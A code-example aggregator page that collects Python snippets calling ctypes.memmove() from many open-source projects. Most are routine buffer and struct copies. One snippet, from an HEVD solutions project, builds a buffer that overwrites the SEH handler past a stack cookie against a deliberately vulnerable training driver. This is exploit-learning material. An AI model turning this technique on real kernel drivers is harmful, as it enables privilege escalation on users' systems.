python类memmove()的实例源码

protocol.py 文件源码 项目:gps_track_pod 作者: iwanders 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def __new__(self):
        b = "00 00 00 00 14 01 00 00 03 00 10 01 00 01 0C 01 0B 01 02 00"\
            " 02 00 01 01 02 01 02 01 2A 00 47 50 53 20 54 72 61 63 6B 20"\
            " 50 4F 44 00 00 00 01 00 00 00 02 00 01 00 01 00 00 00 00 00"\
            " 00 00 00 00 00 00 00 00 01 00 00 00 05 01 D0 00 06 01 3C 00"\
            " 07 01 02 00 11 01 08 01 08 00 09 01 04 00 00 00 08 00 08 01"\
            " 08 00 09 01 04 00 01 00 08 00 08 01 1A 00 09 01 04 00 02 00"\
            " 00 00 0A 01 02 00 10 00 0A 01 02 00 01 00 0A 01 02 00 FE FF"\
            " 06 01 42 00 07 01 02 00 23 01 08 01 08 00 09 01 04 00 00 00"\
            " 08 00 08 01 08 00 09 01 04 00 01 00 28 00 08 01 20 00 09 01"\
            " 04 00 02 00 00 00 0A 01 02 00 10 00 0A 01 02 00 08 00 0A 01"\
            " 02 00 01 00 0A 01 02 00 FE FF 06 01 3C 00 07 01 02 00 22 01"\
            " 08 01 08 00 09 01 04 00 00 00 18 00 08 01 08 00 09 01 04 00"\
            " 01 00 19 00 08 01 1A 00 09 01 04 00 02 00 00 00 0A 01 02 00"\
            " 32 00 0A 01 02 00 1A 00 0A 01 02 00 10 00 06 01 06 00 07 01"\
            " 02 00 50 01"
        byte_object = bytes([int(a, 16) for a in b.split(" ")])
        a = super().__new__(self)
        ctypes.memmove(ctypes.addressof(a.set_settings_request),
                       bytes(byte_object), len(byte_object))
        return a
Data.py 文件源码 项目:NADE 作者: MarcCote 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def expand_array_in_blocks(m, block_length, offset):
    r, c = m.shape
    r = n_blocks(r, block_length)
    if offset > 0:
        block_length = 1
    c = c * block_length
    output = np.ndarray((r, c), dtype=m.dtype)
    dst = output.ctypes.data
    frame_size = m.strides[0]
    for i in xrange(r):
        src = m.ctypes.data + int((i + offset) * frame_size)
        for j in xrange(block_length):
            ctypes.memmove(dst, src, frame_size)
            dst += int(frame_size)
            src += int(frame_size)
    return output
recipe-475199.py 文件源码 项目:code 作者: ActiveState 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def __delitem__(self, i):
        size = self.size
        if i >= size:
            raise IndexError("list index out of range")

        if i < 0:
            i = size + i
            if i < 0:
                raise IndexError("list index out of range")

        # shift everything left by one
        address = ctypes.addressof(self.data)
        typesize = self._typesize
        to_address = address + i*typesize
        from_address = to_address + typesize
        ctypes.memmove(to_address, from_address, typesize*(size-i-1))

        self.size = size = size-1

        if self.prealloc_size > size*2:
            self.compact()
recipe-475199.py 文件源码 项目:code 作者: ActiveState 项目源码 文件源码 阅读 30 收藏 0 点赞 0 评论 0
def append(self, obj):
        "append to the list; the object must be assignable to the ctype"
        size = self.size
        if size >= self.prealloc_size:
            # Need to make new space.  There's no 'realloc' for
            # ctypes so this isn't as nice as it is in C.
            # I'm using Python's growth pattern, which is
            #    0, 4, 8, 16, 25, 35, 46, 58, 72, 88, ...
            if size < 9:
                newsize = (size>>3) + 3 + size
            else:
                newsize = (size>>3) + 6 + size
            newdata = (self.c_type * newsize)()
            ctypes.memmove(newdata, self.data, ctypes.sizeof(self.data))
            self.data = newdata
            self.prealloc_size = newsize

        self.data[size] = obj
        self.size = size+1
recipe-475199.py 文件源码 项目:code 作者: ActiveState 项目源码 文件源码 阅读 33 收藏 0 点赞 0 评论 0
def append_kwargs(self, **kwargs):
        "append to the list; assign each key/value to the new item"
        size = self.size
        if size >= self.prealloc_size:
            if size < 9:
                newsize = (size>>3) + 3 + size
            else:
                newsize = (size>>3) + 6 + size
            newdata = (self.c_type * newsize)()
            ctypes.memmove(newdata, self.data, ctypes.sizeof(self.data))
            self.data = newdata
            self.prealloc_size = newsize

        obj = self.data[size]
        for k, v in kwargs.iteritems():
            setattr(obj, k, v)
        self.size = size+1
MCE.py 文件源码 项目:MCExtractor 作者: platomav 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def get_struct(input_stream, start_offset, class_name, param_list = None) :
    if param_list is None : param_list = []

    structure = class_name(*param_list) # Unpack parameter list
    struct_len = ctypes.sizeof(structure)
    struct_data = input_stream[start_offset:start_offset + struct_len]
    fit_len = min(len(struct_data), struct_len)

    if (start_offset > file_end) or (fit_len < struct_len) :
        print(col_r + "Error: Offset 0x%X out of bounds, possibly incomplete image!" % start_offset + col_e)

        mce_exit(1)

    ctypes.memmove(ctypes.addressof(structure), struct_data, fit_len)

    return structure
MEA.py 文件源码 项目:MEAnalyzer 作者: platomav 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def get_struct(input_stream, start_offset, class_name, param_list = None) :
    if param_list is None : param_list = []

    structure = class_name(*param_list) # Unpack parameter list
    struct_len = ctypes.sizeof(structure)
    struct_data = input_stream[start_offset:start_offset + struct_len]
    fit_len = min(len(struct_data), struct_len)

    if (start_offset >= file_end) or (fit_len < struct_len) :
        err_stor.append(col_r + "Error: Offset 0x%X out of bounds, possibly incomplete image!" % start_offset + col_e)

        for error in err_stor : print(error)

        if param.multi : multi_drop()
        else: f.close()

        mea_exit(1)

    ctypes.memmove(ctypes.addressof(structure), struct_data, fit_len)

    return structure

# Initialize PrettyTable
HEVD_stackoverflowGS.py 文件源码 项目:HEVD-Python-Solutions 作者: GradiusX 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def create_map_file():
    page_size = 0x1000
    FILE_MAP_ALL_ACCESS = 0x1F
    SEH_overwrite_offset = 0x214

    print "[+] Creating file mapping"
    shared_memory = kernel32.CreateFileMappingA(-1, None, win32con.PAGE_EXECUTE_READWRITE, 0, page_size, "SharedMemory")

    print "[+] Mapping it to current process space"
    shared_mapped_memory_address = kernel32.MapViewOfFile( shared_memory , FILE_MAP_ALL_ACCESS, 0, 0, page_size)
    print "[+] Map View of File at address: 0x%X" % shared_mapped_memory_address

    suitable_memory_for_buffer = shared_mapped_memory_address + (page_size - SEH_overwrite_offset)
    print "[+] Suitable Memory for Buffer address: 0x%X" % suitable_memory_for_buffer

    print "[+] Constructing malicious buffer"
    # [-- JUNK FOR PAGE --][-- KERNEL BUFFER SIZE--][-- STACK COOKIE --][-- JUNK --][-- SE/SHELLCODE PTR --]
    malicious_buffer = "A" * (page_size - SEH_overwrite_offset) + "B" * 0x200 + "S" * 4 + "C" * 12 + struct.pack("<L",heap_alloc_payload())
    malicious_buffer_len = len(malicious_buffer)

    print "[+] Copying malicious buffer to file map"
    csrc = create_string_buffer(malicious_buffer, malicious_buffer_len)
    ctypes.memmove(shared_mapped_memory_address, addressof(csrc), malicious_buffer_len)
    return suitable_memory_for_buffer, SEH_overwrite_offset
keychain.py 文件源码 项目:itc-reporter 作者: fedoco 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def find_generic_password(kc_name, service, username):
        username = username.encode('utf-8')
        service = service.encode('utf-8')
        with open(kc_name) as keychain:
            length = c_uint32()
            data = c_void_p()
            status = SecKeychainFindGenericPassword(
                keychain,
                len(service),
                service,
                len(username),
                username,
                length,
                data,
                None)

        msg = "Can't fetch password from Keychain"
        NotFound.raise_for_status(status, msg)

        password = ctypes.create_string_buffer(length.value)
        ctypes.memmove(password, data.value, length.value)
        SecKeychainItemFreeContent(None, data)
        return password.raw.decode('utf-8')
base.py 文件源码 项目:FightstickDisplay 作者: calexil 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def consume(self, bytes, audio_format):
        """Remove some data from beginning of packet.  All events are
        cleared."""
        self.events = ()
        if bytes >= self.length:
            self.data = None
            self.length = 0
            self.timestamp += self.duration
            self.duration = 0.
            return
        elif bytes == 0:
            return

        if not isinstance(self.data, str):
            # XXX Create a string buffer for the whole packet then
            #     chop it up.  Could do some pointer arith here and
            #     save a bit of data pushing, but my guess is this is
            #     faster than fudging aruond with ctypes (and easier).
            data = ctypes.create_string_buffer(self.length)
            ctypes.memmove(data, self.data, self.length)
            self.data = data
        self.data = self.data[bytes:]
        self.length -= bytes
        self.duration -= bytes / float(audio_format.bytes_per_second)
        self.timestamp += bytes / float(audio_format.bytes_per_second)
renderers.py 文件源码 项目:ivport-v2 作者: ivmech 项目源码 文件源码 阅读 35 收藏 0 点赞 0 评论 0
def update(self, source):
        """
        Update the overlay with a new source of data.

        The new *source* buffer must have the same size as the original buffer
        used to create the overlay. There is currently no method for changing
        the size of an existing overlay (remove and recreate the overlay if you
        require this).
        """
        port = self.renderer[0].input[0]
        fmt = port[0].format
        bp = ct.c_uint8 * (fmt[0].es[0].video.width * fmt[0].es[0].video.height * 3)
        try:
            sp = bp.from_buffer(source)
        except TypeError:
            sp = bp.from_buffer_copy(source)
        buf = mmal.mmal_queue_get(self.pool[0].queue)
        if not buf:
            raise PiCameraRuntimeError(
                "Couldn't get a buffer from the overlay's pool")
        ct.memmove(buf[0].data, sp, buf[0].alloc_size)
        buf[0].length = buf[0].alloc_size
        mmal_check(
            mmal.mmal_port_send_buffer(port, buf),
            prefix="Unable to send a buffer to the overlay's port")
base.py 文件源码 项目:cryptogram 作者: xinmingzhang 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def consume(self, bytes, audio_format):
        """Remove some data from beginning of packet.  All events are
        cleared."""
        self.events = ()
        if bytes >= self.length:
            self.data = None
            self.length = 0
            self.timestamp += self.duration
            self.duration = 0.
            return
        elif bytes == 0:
            return

        if not isinstance(self.data, str):
            # XXX Create a string buffer for the whole packet then
            #     chop it up.  Could do some pointer arith here and
            #     save a bit of data pushing, but my guess is this is
            #     faster than fudging aruond with ctypes (and easier).
            data = ctypes.create_string_buffer(self.length)
            ctypes.memmove(data, self.data, self.length)
            self.data = data
        self.data = self.data[bytes:]
        self.length -= bytes
        self.duration -= bytes / float(audio_format.bytes_per_second)
        self.timestamp += bytes / float(audio_format.bytes_per_second)
dbussy.py 文件源码 项目:dbussy 作者: ldo 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def marshal(self) :
        "serializes this Message into the wire protocol format and returns a bytes object."
        buf = ct.POINTER(ct.c_ubyte)()
        nr_bytes = ct.c_int()
        if not dbus.dbus_message_marshal(self._dbobj, ct.byref(buf), ct.byref(nr_bytes)) :
            raise CallFailed("dbus_message_marshal")
        #end if
        result = bytearray(nr_bytes.value)
        ct.memmove \
          (
            ct.addressof((ct.c_ubyte * nr_bytes.value).from_buffer(result)),
            buf,
            nr_bytes.value
          )
        dbus.dbus_free(buf)
        return \
            result
    #end marshal
base.py 文件源码 项目:mxnet_tk1 作者: starimpact 项目源码 文件源码 阅读 34 收藏 0 点赞 0 评论 0
def ctypes2buffer(cptr, length):
    """Convert ctypes pointer to buffer type.

    Parameters
    ----------
    cptr : ctypes.POINTER(ctypes.c_char)
        pointer to the raw memory region
    length : int
        the length of the buffer

    Returns
    -------
    buffer : bytearray
        The raw byte memory buffer
    """
    if not isinstance(cptr, ctypes.POINTER(ctypes.c_char)):
        raise TypeError('expected char pointer')
    res = bytearray(length)
    rptr = (ctypes.c_char * length).from_buffer(res)
    if not ctypes.memmove(rptr, cptr, length):
        raise RuntimeError('memmove failed')
    return res
__init__.py 文件源码 项目:UMOG 作者: hsab 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def consume(self, bytes, audio_format):
        '''Remove some data from beginning of packet.  All events are
        cleared.'''
        self.events = ()
        if bytes == self.length:
            self.data = None
            self.length = 0
            self.timestamp += self.duration
            self.duration = 0.
            return
        elif bytes == 0:
            return

        if not isinstance(self.data, str):
            # XXX Create a string buffer for the whole packet then
            #     chop it up.  Could do some pointer arith here and
            #     save a bit of data pushing, but my guess is this is
            #     faster than fudging aruond with ctypes (and easier).
            data = ctypes.create_string_buffer(self.length)
            ctypes.memmove(data, self.data, self.length)
            self.data = data
        self.data = self.data[bytes:]
        self.length -= bytes
        self.duration -= bytes / float(audio_format.bytes_per_second)
        self.timestamp += bytes / float(audio_format.bytes_per_second)
_OS_X_API.py 文件源码 项目:toggl2shotgun 作者: jfboismenu 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def find_generic_password(kc_name, service, username):
        username = username.encode('utf-8')
        service = service.encode('utf-8')
        with open(kc_name) as keychain:
            length = c_uint32()
            data = c_void_p()
            status = SecKeychainFindGenericPassword(
                keychain,
                len(service),
                service,
                len(username),
                username,
                length,
                data,
                None,
            )

        msg = "Can't fetch password from system"
        NotFound.raise_for_status(status, msg)

        password = ctypes.create_string_buffer(length.value)
        ctypes.memmove(password, data.value, length.value)
        SecKeychainItemFreeContent(None, data)
        return password.raw.decode('utf-8')
glbase.py 文件源码 项目:BoarGL 作者: ivorjawa 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def update(self, name, ub):
        PyBuffer_FromMemory = ctypes.pythonapi.PyBuffer_FromMemory
        ubo = self.UBs[name].ubo
        #print "using ubo handle %s" % ubo
        gl.glBindBuffer(gl.GL_UNIFORM_BUFFER, ubo)
        vp = gl.glMapBuffer(gl.GL_UNIFORM_BUFFER, gl.GL_WRITE_ONLY)
        #buffer = PyBuffer_FromMemory(
        #    ctypes.c_void_p(vp), vbo.size
        #)

        to_p = ctypes.c_void_p(vp)
        from_p = ctypes.c_void_p(ub.listy.ctypes.data)
        #print to_p, from_p
        ctypes.memmove(to_p,
                       from_p,
                       ub.record_byte_size*len(ub.listy))
        gl.glUnmapBuffer(gl.GL_UNIFORM_BUFFER)
base.py 文件源码 项目:Vehicle_ReID 作者: starimpact 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def ctypes2buffer(cptr, length):
    """Convert ctypes pointer to buffer type.

    Parameters
    ----------
    cptr : ctypes.POINTER(ctypes.c_char)
        pointer to the raw memory region
    length : int
        the length of the buffer

    Returns
    -------
    buffer : bytearray
        The raw byte memory buffer
    """
    if not isinstance(cptr, ctypes.POINTER(ctypes.c_char)):
        raise TypeError('expected char pointer')
    res = bytearray(length)
    rptr = (ctypes.c_char * length).from_buffer(res)
    if not ctypes.memmove(rptr, cptr, length):
        raise RuntimeError('memmove failed')
    return res
transport.py 文件源码 项目:pyspresso 作者: CrowdStrike 项目源码 文件源码 阅读 30 收藏 0 点赞 0 评论 0
def _send_shmem(self, bytes):
        # Use the outgoing stream and the outgoing shared memory.
        stream = self._streams.outgoing
        shared_memory = self._shared_memory.outgoing

        index = 0

        # Send bytes via circular buffer.
        with self.Mutex(stream.mutex) as mutex:
            while index < len(bytes):
                while shared_memory.isFull:
                    if ctypes.windll.kernel32.ReleaseMutex(stream.mutex) == 0:
                        raise WindowsError("Could not release mutex")
                    self._wait_for_object(stream.hasSpace)
                    self._wait_for_object(stream.mutex)

                fragment_start = shared_memory.writeOffset
                max_length = (shared_memory.readOffset if fragment_start < shared_memory.readOffset else 5000)- fragment_start
                fragment_length = min(max_length, len(bytes) - index)
                ctypes.memmove(ctypes.addressof(shared_memory.buffer) + fragment_start, bytes[index:index+fragment_length], fragment_length)
                shared_memory.writeOffset = (fragment_start + fragment_length) % 5000
                index += fragment_length
                shared_memory.isFull = (shared_memory.readOffset == shared_memory.writeOffset)
                if ctypes.windll.kernel32.SetEvent(stream.hasData) == 0:
                    raise WindowsError("Could not set event")
clipboard.py 文件源码 项目:jaraco.windows 作者: jaraco 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def SetClipboardData(type, content):
    """
    Modeled after http://msdn.microsoft.com/en-us/library/ms649016%28VS.85%29.aspx#_win32_Copying_Information_to_the_Clipboard
    """
    allocators = {
        clipboard.CF_TEXT: ctypes.create_string_buffer,
        clipboard.CF_UNICODETEXT: ctypes.create_unicode_buffer,
    }
    if not type in allocators:
        raise NotImplementedError("Only text types are supported at this time")
    # allocate the memory for the data
    content = allocators[type](content)
    flags = memory.GMEM_MOVEABLE
    size = ctypes.sizeof(content)
    handle_to_copy = windll.kernel32.GlobalAlloc(flags, size)
    with LockedMemory(handle_to_copy) as lm:
        ctypes.memmove(lm.data_ptr, content, size)
    result = clipboard.SetClipboardData(type, handle_to_copy)
    if result is None:
        raise WindowsError()
sdds_pkt.py 文件源码 项目:core-framework 作者: RedhawkSDR 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def set_data(self, samples ):
           if type(samples) == list:
                for i,x in enumerate(samples):
                     if i < sdds_sb_payload.NUM_SAMPLES:
                          self.data[i] = x
           else:
                fit = min(len(samples), ctypes.sizeof(self))
                ctypes.memmove(ctypes.addressof(self), samples, fit)
sdds_pkt.py 文件源码 项目:core-framework 作者: RedhawkSDR 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def set_data(self, samples ):
           if type(samples) == list:
                for i,x in enumerate(samples):
                     if i < sdds_cb_payload.NUM_SAMPLES:
                          self.data[i] = x
           else:
                fit = min(len(samples), ctypes.sizeof(self))
                ctypes.memmove(ctypes.addressof(self), samples, fit)
sdds_pkt.py 文件源码 项目:core-framework 作者: RedhawkSDR 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def set_data(self, samples ):
           if type(samples) == list:
                for i,x in enumerate(samples):
                     if i < sdds_si_payload.NUM_SAMPLES:
                          self.data[i] = x
           else:
                fit = min(len(samples), ctypes.sizeof(self))
                ctypes.memmove(ctypes.addressof(self), samples, fit)
sdds_pkt.py 文件源码 项目:core-framework 作者: RedhawkSDR 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def set_data(self, samples ):
           if type(samples) == list:
                for i,x in enumerate(samples):
                     if i < sdds_ci_payload.NUM_SAMPLES:
                          self.data[i] = x
           else:
                fit = min(len(samples), ctypes.sizeof(self))
                ctypes.memmove(ctypes.addressof(self), samples, fit)
sdds_pkt.py 文件源码 项目:core-framework 作者: RedhawkSDR 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def set_data(self, samples ):
           if type(samples) == list:
                for i,x in enumerate(samples):
                     if i < sdds_sn_payload.NUM_SAMPLES:
                          self.data[i] = x
           else:
                fit = min(len(samples), ctypes.sizeof(self))
                ctypes.memmove(ctypes.addressof(self), samples, fit)
util.py 文件源码 项目:deb-python-cassandra-driver 作者: openstack 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def inet_ntop(address_family, packed_ip):
        if address_family == socket.AF_INET:
            return socket.inet_ntoa(packed_ip)

        addr = sockaddr()
        addr.sa_family = address_family
        addr_size = ctypes.c_int(ctypes.sizeof(addr))
        ip_string = ctypes.create_string_buffer(128)
        ip_string_size = ctypes.c_int(ctypes.sizeof(ip_string))

        if address_family == socket.AF_INET6:
            if len(packed_ip) != ctypes.sizeof(addr.ipv6_addr):
                raise socket.error('packed IP wrong length for inet_ntoa')
            ctypes.memmove(addr.ipv6_addr, packed_ip, 16)
        else:
            raise socket.error('unknown address family')

        if WSAAddressToStringA(
                ctypes.byref(addr),
                addr_size,
                None,
                ip_string,
                ctypes.byref(ip_string_size)
        ) != 0:
            raise socket.error(ctypes.FormatError())

        return ip_string[:ip_string_size.value - 1]
recipe-475199.py 文件源码 项目:code 作者: ActiveState 项目源码 文件源码 阅读 40 收藏 0 点赞 0 评论 0
def compact(self):
        "remove any space preallocated for growth"
        if self.prealloc_size == self.size:
            return
        newdata = (self.c_type * self.size)()
        ctypes.memmove(newdata, self.data, self.size*self._typesize)
        self.data = newdata
        self.prealloc_size = self.size
backend_ctypes.py 文件源码 项目:noc-orchestrator 作者: DirceuSilvaLabs 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def write_variable(self, BType, name, value):
        new_ctypes_obj = BType._to_ctypes(value)
        ctypes_obj = BType._ctype.in_dll(self.cdll, name)
        ctypes.memmove(ctypes.addressof(ctypes_obj),
                       ctypes.addressof(new_ctypes_obj),
                       ctypes.sizeof(BType._ctype))
pmem.py 文件源码 项目:gps_track_pod 作者: iwanders 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def read(cls, byte_object):
        a = cls(byte_object)
        # print(byte_object)
        ctypes.memmove(ctypes.addressof(a.data), bytes(byte_object),
                       min(len(byte_object), ctypes.sizeof(a.data)))
        return a
protocol.py 文件源码 项目:gps_track_pod 作者: iwanders 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def read(cls, byte_object):
        a = cls()
        ctypes.memmove(ctypes.addressof(a), bytes(byte_object),
                       min(len(byte_object), ctypes.sizeof(cls)))
        return a


# Mixin to allow conversion of a ctypes structure to and from a dictionary.


问题


面经


文章

微信
公众号

扫码关注公众号